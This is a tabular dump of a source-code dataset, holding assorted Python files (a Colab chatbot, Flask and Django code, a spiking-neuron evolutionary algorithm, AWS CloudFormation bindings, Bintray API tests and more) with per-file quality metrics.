hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2f83da54d897e766d0d3af8c0eb9288935bf6e10 | 17,675 | py | Python | uranai.py | heeeedgehog/chat2021 | a7e0b06ec7dc6cf66092afda18bbc770c58fd5b6 | [
"CC0-1.0"
] | null | null | null | uranai.py | heeeedgehog/chat2021 | a7e0b06ec7dc6cf66092afda18bbc770c58fd5b6 | [
"CC0-1.0"
] | null | null | null | uranai.py | heeeedgehog/chat2021 | a7e0b06ec7dc6cf66092afda18bbc770c58fd5b6 | [
"CC0-1.0"
] | null | null | null | import re
import time
import random
import IPython
from google.colab import output
n = 0
def chat(text, **kw): #チャット用の関数(ここを書き換える)
global n
n += 1
return 'ほ' * n
# アイコンの指定
BOT_ICON = 'https://3.bp.blogspot.com/-qbORCFE5qhk/UmTBJwEYKjI/AAAAAAAAZYY/nbjieynFcLQ/s800/job_uranaishi.png'
YOUR_ICON = 'https://3.bp.... | 36.518595 | 169 | 0.606789 | 1,809 | 17,675 | 5.905473 | 0.206744 | 0.055602 | 0.042123 | 0.089862 | 0.526537 | 0.473275 | 0.448563 | 0.393335 | 0.382664 | 0.162501 | 0 | 0.02138 | 0.256407 | 17,675 | 483 | 170 | 36.594203 | 0.791372 | 0.023197 | 0 | 0.384058 | 0 | 0.009662 | 0.620078 | 0.265847 | 0 | 0 | 0 | 0 | 0 | 1 | 0.024155 | false | 0 | 0.012077 | 0 | 0.181159 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
2f8e4056b6fe719f41b79af74178592e625462d3 | 1,255 | py | Python | JsonCodeTools/jinja2_codegen/templates/base/backend_api.py | kamlam/EAGLE-Open-Model-Profile-and-Tools-1 | 42690535de136251d8a464ad254ac0ea344d383a | [
"Apache-2.0"
] | null | null | null | JsonCodeTools/jinja2_codegen/templates/base/backend_api.py | kamlam/EAGLE-Open-Model-Profile-and-Tools-1 | 42690535de136251d8a464ad254ac0ea344d383a | [
"Apache-2.0"
] | null | null | null | JsonCodeTools/jinja2_codegen/templates/base/backend_api.py | kamlam/EAGLE-Open-Model-Profile-and-Tools-1 | 42690535de136251d8a464ad254ac0ea344d383a | [
"Apache-2.0"
] | null | null | null | import sys
from flask import Response, Blueprint
from flask.views import MethodView
from backend.backend import save_state, load_state
setattr(sys.modules[__name__], __name__, Blueprint(__name__, __name__))
urls = [("/backend/save_state/" , "BackendSaveState", ["POST"]),
("/backend/load_state/" , "BackendLo... | 30.609756 | 154 | 0.67251 | 143 | 1,255 | 5.58042 | 0.412587 | 0.056391 | 0.035088 | 0.045113 | 0.185464 | 0.120301 | 0.120301 | 0 | 0 | 0 | 0 | 0.009901 | 0.195219 | 1,255 | 40 | 155 | 31.375 | 0.780198 | 0.031873 | 0 | 0.137931 | 0 | 0 | 0.180544 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.137931 | null | null | 0.137931 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
2f8fd718a3c11ff3625e7fbfe6a0d2adc3d239b6 | 375 | py | Python | utils/multi_threading.py | othmbela/fifa-21-web-scraping | f312fe26401454ab0d46c8f12ad7c25fc5c5c9d3 | [
"MIT"
] | 2 | 2021-12-25T19:31:35.000Z | 2021-12-26T23:29:14.000Z | utils/multi_threading.py | othmbela/fifa-21-web-scraping | f312fe26401454ab0d46c8f12ad7c25fc5c5c9d3 | [
"MIT"
] | null | null | null | utils/multi_threading.py | othmbela/fifa-21-web-scraping | f312fe26401454ab0d46c8f12ad7c25fc5c5c9d3 | [
"MIT"
] | null | null | null | import threading
class MultiThreading(object):
def __init__(self, scrapers):
self.scrapers = scrapers
def run(self):
threads = []
for i in range(len(self.scrapers)):
t = threading.Thread(target=self.scrapers[i].start)
t.start()
threads.append(t)
... | 22.058824 | 63 | 0.570667 | 42 | 375 | 5 | 0.52381 | 0.228571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.322667 | 375 | 17 | 64 | 22.058824 | 0.826772 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
2f9c2b953d35fa404559503e64b43dd7b894b3ba | 479 | py | Python | utilities/utility.py | kwanj-k/flask_sm | 9aaba349b7be3abb687c23513fc417008527bf07 | [
"MIT"
] | null | null | null | utilities/utility.py | kwanj-k/flask_sm | 9aaba349b7be3abb687c23513fc417008527bf07 | [
"MIT"
] | null | null | null | utilities/utility.py | kwanj-k/flask_sm | 9aaba349b7be3abb687c23513fc417008527bf07 | [
"MIT"
] | null | null | null | from helpers.database import db_session
class Utility(object):
def save(self):
"""Function for saving new objects"""
db_session.add(self)
db_session.commit()
def delete(self):
"""Function for deleting objects"""
db_session.delete(self)
db_session.commit()
def ... | 23.95 | 54 | 0.624217 | 60 | 479 | 4.866667 | 0.533333 | 0.15411 | 0.10274 | 0.130137 | 0.150685 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00554 | 0.246347 | 479 | 19 | 55 | 25.210526 | 0.803324 | 0.127349 | 0 | 0.153846 | 0 | 0 | 0.063882 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.076923 | 0 | 0.461538 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
85d634ca49ccc4a14a00eca070b8c1dc73a0805f | 7,727 | py | Python | izzy.py | imre-kerr/better-ea | ea704c5def58c7c2e65aeb7d8a83268dc03ebb40 | [
"MIT"
] | null | null | null | izzy.py | imre-kerr/better-ea | ea704c5def58c7c2e65aeb7d8a83268dc03ebb40 | [
"MIT"
] | null | null | null | izzy.py | imre-kerr/better-ea | ea704c5def58c7c2e65aeb7d8a83268dc03ebb40 | [
"MIT"
] | null | null | null | from __future__ import division
from ea import float_gtype
from ea import adult_selection
from ea import parent_selection
from ea import reproduction
from ea import main
from ea.ea_globals import *
import pylab
import sys
import copy
import multiprocessing as mp
def spiketrain(a, b, c, d, k,):
'''Compute a spike t... | 33.450216 | 158 | 0.639187 | 1,032 | 7,727 | 4.665698 | 0.210271 | 0.009138 | 0.008723 | 0.017445 | 0.301765 | 0.251713 | 0.14891 | 0.129803 | 0.129803 | 0.11838 | 0 | 0.021133 | 0.234502 | 7,727 | 230 | 159 | 33.595652 | 0.792899 | 0 | 0 | 0.237569 | 0 | 0 | 0.061053 | 0.003906 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.060773 | null | null | 0.022099 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
85d7198127d9cac93a1f57762dde2c663529189b | 1,695 | py | Python | contrib/python/CUBRIDdb/connections.py | eido5/cubrid | f32dbe7cb90f096035c255d7b5f348438bbb5830 | [
"Apache-2.0",
"BSD-3-Clause"
] | 253 | 2016-03-12T01:03:42.000Z | 2022-03-14T08:24:39.000Z | contrib/python/CUBRIDdb/connections.py | eido5/cubrid | f32dbe7cb90f096035c255d7b5f348438bbb5830 | [
"Apache-2.0",
"BSD-3-Clause"
] | 1,124 | 2016-03-31T03:48:58.000Z | 2022-03-31T23:44:04.000Z | contrib/python/CUBRIDdb/connections.py | eido5/cubrid | f32dbe7cb90f096035c255d7b5f348438bbb5830 | [
"Apache-2.0",
"BSD-3-Clause"
] | 268 | 2016-03-02T06:48:44.000Z | 2022-03-04T05:17:24.000Z | """
This module implements connections for CUBRIDdb. Presently there is
only one class: Connection. Others are unlikely. However, you might
want to make your own subclasses. In most cases, you will probably
override Connection.default_cursor with a non-standard Cursor class.
"""
from CUBRIDdb.cursors import *
import t... | 27.33871 | 110 | 0.634218 | 188 | 1,695 | 5.62234 | 0.489362 | 0.092715 | 0.051088 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00326 | 0.276106 | 1,695 | 61 | 111 | 27.786885 | 0.858191 | 0.20118 | 0 | 0.076923 | 0 | 0 | 0.099564 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0.025641 | 0.051282 | 0.025641 | 0.435897 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
85de164e11437251e1f1798400186b5f968fc2ea | 3,036 | py | Python | troposphere/cassandra.py | compose-x/troposphere | 9a94a8fafd8b4da1cd1f4239be0e7aa0681fd8d4 | [
"BSD-2-Clause"
] | null | null | null | troposphere/cassandra.py | compose-x/troposphere | 9a94a8fafd8b4da1cd1f4239be0e7aa0681fd8d4 | [
"BSD-2-Clause"
] | null | null | null | troposphere/cassandra.py | compose-x/troposphere | 9a94a8fafd8b4da1cd1f4239be0e7aa0681fd8d4 | [
"BSD-2-Clause"
] | null | null | null | # Copyright (c) 2012-2022, Mark Peek <mark@peek.org>
# All rights reserved.
#
# See LICENSE file for full license.
#
# *** Do not modify - this file is autogenerated ***
from . import AWSObject, AWSProperty, PropsDictType, Tags
from .validators import boolean, integer
from .validators.cassandra import (
validate_... | 29.192308 | 155 | 0.674901 | 264 | 3,036 | 7.670455 | 0.268939 | 0.027654 | 0.038025 | 0.058765 | 0.314568 | 0.266173 | 0.266173 | 0.266173 | 0.266173 | 0.266173 | 0 | 0.003226 | 0.183136 | 3,036 | 103 | 156 | 29.475728 | 0.813306 | 0.352437 | 0 | 0.176471 | 1 | 0 | 0.182749 | 0.061995 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.058824 | 0 | 0.372549 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
85e09926b791ee09f58803cefe613caaa48d19cf | 2,272 | py | Python | app/components/menu.py | TechPriestJon/ChessPython | 5dbef09a1fecc305e69e5625a7d1b6ad271fdb90 | [
"MIT"
] | null | null | null | app/components/menu.py | TechPriestJon/ChessPython | 5dbef09a1fecc305e69e5625a7d1b6ad271fdb90 | [
"MIT"
] | null | null | null | app/components/menu.py | TechPriestJon/ChessPython | 5dbef09a1fecc305e69e5625a7d1b6ad271fdb90 | [
"MIT"
] | null | null | null | import pyglet
from .button import Button
from .border import Border
class Menu:
def __init__(self, x, y, background):
self.__x = x
self.__y = y
#self.__image = pyglet.image.load(background)
#self.__sprite = pyglet.sprite.Sprite(self.__image, x, y - self.__image.height)
self.... | 32.927536 | 88 | 0.584947 | 282 | 2,272 | 4.375887 | 0.177305 | 0.215559 | 0.024311 | 0.072934 | 0.430308 | 0.317666 | 0.263371 | 0.222853 | 0.170989 | 0.170989 | 0 | 0.028195 | 0.297535 | 2,272 | 68 | 89 | 33.411765 | 0.744987 | 0.185299 | 0 | 0.116279 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.162791 | false | 0 | 0.069767 | 0 | 0.27907 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
85e7c03192d777f53bbbc22d676eb47d56ef21c5 | 1,400 | py | Python | api/tf_auth/migrations/0003_populate_email_preferences.py | prattl/teamfinder-web | 85ded666879c2ee4b51cb59ffdedc2dedbfd9c7e | [
"Apache-2.0"
] | 9 | 2017-04-10T09:40:01.000Z | 2020-01-31T17:15:41.000Z | api/tf_auth/migrations/0003_populate_email_preferences.py | prattl/teamfinder-web | 85ded666879c2ee4b51cb59ffdedc2dedbfd9c7e | [
"Apache-2.0"
] | 19 | 2017-02-22T16:26:02.000Z | 2020-02-04T16:08:16.000Z | api/tf_auth/migrations/0003_populate_email_preferences.py | prattl/teamfinder-web | 85ded666879c2ee4b51cb59ffdedc2dedbfd9c7e | [
"Apache-2.0"
] | 3 | 2017-04-17T06:37:58.000Z | 2021-04-09T18:16:28.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.10.1 on 2017-04-15 17:10
from __future__ import unicode_literals
from django.db import migrations
class EmailTag:
ALL = 0
UPDATES = 1
PLAYER_NOTIFICATIONS = 2
TEAM_NOTIFICATIONS = 3
CHOICES = (
(ALL, 'All'),
(UPDATES, 'Updates and Ne... | 28.571429 | 83 | 0.692857 | 147 | 1,400 | 6.37415 | 0.469388 | 0.025614 | 0.102455 | 0.044824 | 0.057631 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033575 | 0.212857 | 1,400 | 48 | 84 | 29.166667 | 0.816697 | 0.048571 | 0 | 0 | 1 | 0 | 0.120391 | 0.055681 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0.058824 | 0 | 0.382353 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
85eb777d1d72e833cb5e3c285308be6d21c00743 | 8,020 | py | Python | singlecell/util.py | johannesnicolaus/singlecell | 8b3f5719b236fb2b9783e4d2c3b419352bb3bf6f | [
"BSD-3-Clause"
] | null | null | null | singlecell/util.py | johannesnicolaus/singlecell | 8b3f5719b236fb2b9783e4d2c3b419352bb3bf6f | [
"BSD-3-Clause"
] | null | null | null | singlecell/util.py | johannesnicolaus/singlecell | 8b3f5719b236fb2b9783e4d2c3b419352bb3bf6f | [
"BSD-3-Clause"
] | null | null | null | """Utility functions."""
import subprocess
import logging
import os
import shutil
import stat
import itertools
from collections import OrderedDict
from pkg_resources import resource_string
import pandas as pd
from genometools.expression import ExpGeneTable
from genometools import gtf
import singlecell
_LOGGER = lo... | 28.848921 | 79 | 0.590898 | 1,037 | 8,020 | 4.428158 | 0.281581 | 0.033319 | 0.015679 | 0.015244 | 0.135889 | 0.099739 | 0.074042 | 0.058798 | 0.045732 | 0.045732 | 0 | 0.007999 | 0.298504 | 8,020 | 277 | 80 | 28.953069 | 0.808212 | 0.232419 | 0 | 0.096154 | 0 | 0 | 0.070792 | 0.004372 | 0 | 0 | 0 | 0.036101 | 0 | 1 | 0.089744 | false | 0.00641 | 0.076923 | 0 | 0.24359 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
85fbcf7c5287039ce67151fcf3c3c264549df026 | 855 | py | Python | beats/migrations/0003_auto_20210809_1938.py | cybrvybe/FactorBeats-Platform | 7ee4b7bd2db6f41ca8def77db826dd21db2f28c8 | [
"MIT"
] | null | null | null | beats/migrations/0003_auto_20210809_1938.py | cybrvybe/FactorBeats-Platform | 7ee4b7bd2db6f41ca8def77db826dd21db2f28c8 | [
"MIT"
] | null | null | null | beats/migrations/0003_auto_20210809_1938.py | cybrvybe/FactorBeats-Platform | 7ee4b7bd2db6f41ca8def77db826dd21db2f28c8 | [
"MIT"
] | null | null | null | # Generated by Django 3.2.3 on 2021-08-10 02:38
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('artists', '0002_artist_bio'),
('beats', '0002_instrumental_img_file'),
]
operations = [
... | 32.884615 | 147 | 0.635088 | 85 | 855 | 6.211765 | 0.541176 | 0.045455 | 0.05303 | 0.083333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.035714 | 0.246784 | 855 | 25 | 148 | 34.2 | 0.784161 | 0.052632 | 0 | 0.210526 | 1 | 0 | 0.237548 | 0.118774 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.105263 | 0 | 0.263158 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c802efa26e9ebd3f418cee602a6447c7e84ed34e | 504 | py | Python | products/migrations/0008_auto_20201019_1155.py | akshaynot/farmedorganic | f1bd2ef7a39693aaadb754ebd61367de42f9f447 | [
"MIT"
] | null | null | null | products/migrations/0008_auto_20201019_1155.py | akshaynot/farmedorganic | f1bd2ef7a39693aaadb754ebd61367de42f9f447 | [
"MIT"
] | null | null | null | products/migrations/0008_auto_20201019_1155.py | akshaynot/farmedorganic | f1bd2ef7a39693aaadb754ebd61367de42f9f447 | [
"MIT"
] | null | null | null | # Generated by Django 3.1.2 on 2020-10-19 11:55
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('products', '0007_product_detail'),
]
operations = [
migrations.RemoveField(
model_name='product',
name='images',
... | 21.913043 | 69 | 0.571429 | 50 | 504 | 5.66 | 0.74 | 0.063604 | 0.113074 | 0.141343 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054598 | 0.309524 | 504 | 22 | 70 | 22.909091 | 0.758621 | 0.089286 | 0 | 0.25 | 1 | 0 | 0.131291 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.0625 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c80beba1a9075a6c0166233775404d4ea671976e | 1,446 | py | Python | deck_code.py | BenWiederhake/solitaire_aide | 949a28ef7b4a523feb44b508f21c8e0786034261 | [
"Unlicense"
] | null | null | null | deck_code.py | BenWiederhake/solitaire_aide | 949a28ef7b4a523feb44b508f21c8e0786034261 | [
"Unlicense"
] | null | null | null | deck_code.py | BenWiederhake/solitaire_aide | 949a28ef7b4a523feb44b508f21c8e0786034261 | [
"Unlicense"
] | null | null | null | #!/usr/bin/env python3
import common
import os
import sys
def run_encode(base):
x = 0
for i in range(base)
b = sys.stdin.buffer.read(1)
if b == b'':
break
def run_decode(base):
raise NotImplementedError()
def usage(progname):
print('USAGE: {} {{encode | decode}} [<BASE... | 23.704918 | 122 | 0.567082 | 202 | 1,446 | 3.990099 | 0.366337 | 0.052109 | 0.096774 | 0.08933 | 0.344913 | 0.344913 | 0.316377 | 0.282878 | 0.282878 | 0.198511 | 0 | 0.027938 | 0.282158 | 1,446 | 60 | 123 | 24.1 | 0.748555 | 0.014523 | 0 | 0.217391 | 0 | 0 | 0.19382 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.021739 | 0.065217 | null | null | 0.130435 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c81bff5d4fde29baf6a5d5216afe786a43dd755b | 3,762 | py | Python | tests/test_attributes.py | uilianries/bintray-python | ab06edcf33663a5095c6c2121c19fbe2c1409127 | [
"MIT"
] | 4 | 2019-07-02T14:37:55.000Z | 2022-01-20T13:37:01.000Z | tests/test_attributes.py | uilianries/bintray-python | ab06edcf33663a5095c6c2121c19fbe2c1409127 | [
"MIT"
] | 53 | 2019-07-02T17:13:47.000Z | 2022-03-15T11:55:41.000Z | tests/test_attributes.py | uilianries/bintray-python | ab06edcf33663a5095c6c2121c19fbe2c1409127 | [
"MIT"
] | null | null | null | import pytest
from bintray.bintray import Bintray
@pytest.fixture()
def create_attributes():
bintray = Bintray()
attributes = [{"name": "att1", "values": ["val1"], "type": "string"}]
return bintray.set_attributes("uilianries", "generic", "statistics", "test", attributes)
@pytest.fixture()
def create_fil... | 39.6 | 99 | 0.644338 | 376 | 3,762 | 6.292553 | 0.12234 | 0.040575 | 0.125528 | 0.129332 | 0.782756 | 0.735841 | 0.673711 | 0.599746 | 0.440406 | 0.387997 | 0 | 0.020192 | 0.170654 | 3,762 | 94 | 100 | 40.021277 | 0.738141 | 0 | 0 | 0.382353 | 0 | 0 | 0.253922 | 0 | 0 | 0 | 0 | 0 | 0.161765 | 1 | 0.176471 | false | 0 | 0.029412 | 0 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c81d6a5febede701196b77970de4bddfb38150b4 | 870 | py | Python | sp_pipe.py | icanswim/seneca | 8a4bdca72249136ae05f0f958808210457489170 | [
"MIT"
] | null | null | null | sp_pipe.py | icanswim/seneca | 8a4bdca72249136ae05f0f958808210457489170 | [
"MIT"
] | null | null | null | sp_pipe.py | icanswim/seneca | 8a4bdca72249136ae05f0f958808210457489170 | [
"MIT"
] | null | null | null | # Author: scott j ward
from __future__ import unicode_literals
import spacy
import numpy as np
class SpPipe():
def __init__(self):
self.nlp = spacy.load('en_core_web_md', disable=['ner','parser','tagger','textcat'])
def __call__(self, texts, labels, steps=10):
print 'tokenizing with spacy...'
docs ... | 19.333333 | 86 | 0.635632 | 133 | 870 | 3.977444 | 0.518797 | 0.083176 | 0.056711 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011958 | 0.231034 | 870 | 44 | 87 | 19.772727 | 0.778774 | 0.022989 | 0 | 0 | 0 | 0 | 0.076651 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.111111 | null | null | 0.037037 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
c82539b473b877fa97f222abaa477f154b097a15 | 2,660 | py | Python | nucleus/__init__.py | ciex/souma | 580ccb258081053dbde03219ed703ed49a0bba40 | [
"Apache-2.0"
] | 5 | 2015-04-17T08:02:58.000Z | 2020-02-04T09:43:14.000Z | nucleus/__init__.py | ciex/souma | 580ccb258081053dbde03219ed703ed49a0bba40 | [
"Apache-2.0"
] | 1 | 2015-07-09T14:00:17.000Z | 2015-07-09T14:00:51.000Z | nucleus/__init__.py | ciex/souma | 580ccb258081053dbde03219ed703ed49a0bba40 | [
"Apache-2.0"
] | null | null | null | import logging
import blinker
from web_ui import db, app
from sqlalchemy.orm import sessionmaker
ERROR = {
